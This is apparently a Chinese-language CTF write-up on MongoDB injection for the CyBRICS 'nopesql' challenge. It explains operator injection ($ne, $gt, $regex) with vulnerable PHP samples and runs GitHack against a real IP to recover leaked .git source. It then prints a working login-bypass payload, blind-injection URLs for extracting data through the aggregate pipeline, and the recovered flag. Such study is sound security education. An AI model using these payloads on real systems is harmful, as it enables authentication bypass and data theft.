mongodb注入

mongodb注入

cybircsctf的一道nopesql,开始没想到是mongodb注入,某天惊奇地发现题目还没关,复现一下,学习一下mongodb注入

mongodb

参考链接:http://www.vuln.cn/6354
1.用mongo类中相应的方法执行增查减改,传递进入的参数是一个数组:

<?php

$mongo = new mongoclient();

$db = $mongo->myinfo; //选择数据库

$coll = $db->test; //选择集合

$coll->save();    //增

$coll->find();    //查

$coll->remove();    //减

$coll->update();    //改

2.用execute方法执行字符串 传递进入的参数是query的值:

#!php
<?php

$mongo = new mongoclient();

$db = $mongo->myinfo; //选择数据库

$query = "db.table.save({'newsid':1})";    //增

$query = "db.table.find({'newsid':1})";    //查

$query = "db.table.remove({'newsid':1})";    //减

$query = "db.table.update({'newsid':1},{'newsid',2})";    改

$result = $db->execute($query);

shell和php

php语句

    $db->find(["num"=>['$gt'=>2],"name"=>"test_3"])

shell语句

    b.tr1ple.find({'num':{"$gt":2},'name':'test_3'})

相当于sql语句

    select * from tr1ple where num>2 and name="test_3"

注入方式

mongodb条件操作符

操作符 对应
$lt <
$lte <=
$ne !=
$gt >
$gte >=

数组注入

#!php
<?php
$mongo = new mongoclient();
$db = $mongo->myinfo; //选择数据库
$coll = $db->test; //选择集合
$username = $_GET['username'];
$password = $_GET['password'];
$data = array(
        'username'=>$username,
        'password'=>$password
        );
$data = $coll->find($data);
$count = $data->count();
if ($count>0) {
    foreach ($data as $user) {
        echo 'username:'.$user['username']."</br>";
        echo 'password:'.$user['password']."</br>";
    }
}
else{
    echo '未找到';
}
?>

此时我们传递参数

?username=test&password=test

相当于执行了查询语句

db->test->find({username:’test’,password:’test’});

并且输出查询的内容
而我们要注入的语句是

?username[$ne]=test&password[$ne]=test

相当于执行了

db.test.find({username:{‘$ne’:’test’},password:{‘$ne’:’test’}});  

相当于对username!=test,password!=test的查询
此处是字符的比较,比较的是字符的ascii值

对应sql语句:

select * from test where username!=’test’ and password!=’test’;

返回所有username!=test,password!=test的结果

如果读取后并没有回显,我们可以采取$regex操作符来一位一位获取数据。

传递参数为 

username[$regex]=^a

对应的操作为

db.test.find({username:{‘$regex’:’^a’},password:{‘$regex’:’^a’}})

从第一位开始,^a,^a1,^a13 ……

拼接字符串时的注入

#!php
<?php
$username = $_GET['username'];
$password = $_GET['password'];
$query = "var data = db.test.findOne({username:'$username',password:'$password'});return data;";
//$query = "return db.test.findOne();";
//echo $query;
$mongo = new mongoclient();
$db = $mongo->myinfo;
$data = $db->execute($query);
if ($data['ok'] == 1) {
    if ($data['retval']!=NULL) {
        echo 'username:'.$data['retval']['username']."</br>";
        echo 'password:'.$data['retval']['password']."</br>";
    }else{
        echo '未找到';
    }
}else{
    echo $data['errmsg'];
}
?>

和sql中堆叠注入有点像,将前面正常的语句闭合,加,后面的构造的语句依旧可以执行

题目

git源码泄露,大佬wp中学到的姿势,虽然它404了,但是我们可以看到.git后面加了/,虚假的404,可以用githack得到源码。

GitHack是一个.git泄露利用脚本,通过泄露的.git文件夹下的文件,重建还原工程源代码。

渗透测试人员、攻击者,可以进一步审计代码,挖掘:文件上传,SQL注射等web安全漏洞。

工作原理

解析.git/index文件,找到工程中所有的: ( 文件名,文件sha1 )
去.git/objects/ 文件夹下下载对应的文件
zlib解压文件,按原始的目录结构写入源代码

命令:

python git.py http://173.199.118.226/.git/

得到index.php源码:

登陆部分

<?php
require_once __DIR__ . "/vendor/autoload.php";

function auth($username, $password) {
    $collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->users;
    $raw_query = '{"username": "'.$username.'", "password": "'.$password.'"}';
    $document = $collection->findOne(json_decode($raw_query));
    if (isset($document) && isset($document->password)) {
        return true;
    }
    return false;
}

$user = false;
if (isset($_COOKIE['username']) && isset($_COOKIE['password'])) {
    $user = auth($_COOKIE['username'], $_COOKIE['password']);
}

if (isset($_POST['username']) && isset($_POST['password'])) {
    $user = auth($_POST['username'], $_POST['password']);
    if ($user) {
        setcookie('username', $_POST['username']);
        setcookie('password', $_POST['password']);
    }
}

?>

我们观察到$raw_query处可以进行字符串的拼接:

构造username:admin password=","password":{"$ne":"a"},"username":"admin
或者password=","password":{"$gt":"a"},"username":"admin

将前面语句闭合,并构造了新的查询,用户名为admin,password不为a,就可以返回true从而进行登陆

查询部分

<?php if ($user == true): ?>

    Welcome!
    <div>
        Group most common news by
        <a href="?filter=$category">category</a> | 
        <a href="?filter=$public">publicity</a><br>
    </div>

    <?php
        $filter = $_GET['filter'];

        $collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->news;

        $pipeline = [
            ['$group' => ['_id' => '$category', 'count' => ['$sum' => 1]]],
            ['$sort' => ['count' => -1]],
            ['$limit' => 5],
        ];

        $filters = [
            ['$project' => ['category' => $filter]]
        ];

        $cursor = $collection->aggregate(array_merge($filters, $pipeline));
    ?>

    <?php if (isset($filter)): ?>

        <?php
            foreach ($cursor as $category) {
                    printf("%s has %d news<br>", $category['_id'], $category['count']);
            }
        ?>

    <?php endif; ?>

<?php else: ?>

    <?php if (isset($_POST['username']) && isset($_POST['password'])): ?>
        Invalid username or password
    <?php endif; ?>

    <form action='/' method="POST">
        <input type="text" name="username">
        <input type="password" name="password">
        <input type="submit">
    </form>

    <h2>News</h2>
    <?php
        $collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->news;
        $cursor = $collection->find(['public' => 1]);
        foreach ($cursor as $news) {
            printf("%s<br>", $news['title']);
        }
    ?>

<?php endif; ?>

MongoDB中聚合(aggregate)主要用于处理数据(诸如统计平均值,求和等),并返回计算后的数据结果,有点类似sql语句中的count(*)。MongoDB的管道将MongoDB文档在一个管道处理完毕后将结果传递给下一个管道处理。管道操作是可以重复的,以下是几个管道相关操作中的表达式:
  $project:修改输入文档的结构。可以用来重命名、增加或删除域,也可以用于创建计算结果以及嵌套文档,可以把它当作指定域,因为默认find()函数将范围集合中所有的域的数据(可以把它当作SQL里面的字段来理解)。
  $limit:用来限制MongoDB聚合管道返回的文档数。
  $group:将集合中的文档分组,可用于统计结果。
  $sort:将输入文档排序后输出。(使用1和-1来指定排序的方式,其中1为升序排列,而-1是用于降序排列)

首先我们来理解一下
1

$pipeline = [
            ['$group' => ['_id' => '$category', 'count' => ['$sum' => 1]]],
            ['$sort' => ['count' => -1]],//降序输出
            ['$limit' => 5],//限制返回文档数为5
        ];
'_id' => '$category'前面的情况出现一次,$sum值+1(如果是=>2的话+2),并赋值给count

{ $group: { _id:"$分组字段名", 显示字段名: { 聚集函数: "$字段名"},[显示字段名2: { 聚集函数: "$字段名"}, ...] } }

2

$filters = [
            ['$project' => ['category' => $filter]]
        ];
对category进行了重命名

3

$cursor = $collection->aggregate(array_merge($filters, $pipeline));
array_merge() 函数把一个或多个数组合并为一个数组。

4

foreach ($cursor as $category) {
                    printf("%s has %d news<br>", $category['_id'], $category['count']);}
将cursor中所有组遍历赋值给category,打印其中_id和count

我们传递filter参数,并把其值作为分组字段,返回各分组信息,当filter=$category ,我们可以看到他输出的结果是

Welcome! 
Group most common news by category | publicity

politics has 9 news
flags has 9 news
finance has 5 news
comedy has 5 news

测试发现category还可以是$_id,$text,$title,但是limit的限制没法打印text中的flag

数组盲注

需要传递两个参数,而且前后$内容要一致

?filter[$gt][0]=$text&filter[$gt][1]=c

相当于

['$project' => ['category' => [$gt => ["text", "c"]]]]

后面的c为text分组内的内容,所以前后参数都要为$gt

payload是

?filter[$gt][0]=$text&filter[$gt][1]=cy

显示

?filter[$gt][0]=$text&filter[$gt][1]=cz

则显示

就可以写脚本得到flag

得到flag后也可以对此进行验证
?filter[$ne][0]=$text&filter[$ne][1]=cybrics{7|-|15 15 4 7E><7 |=|_49}

0%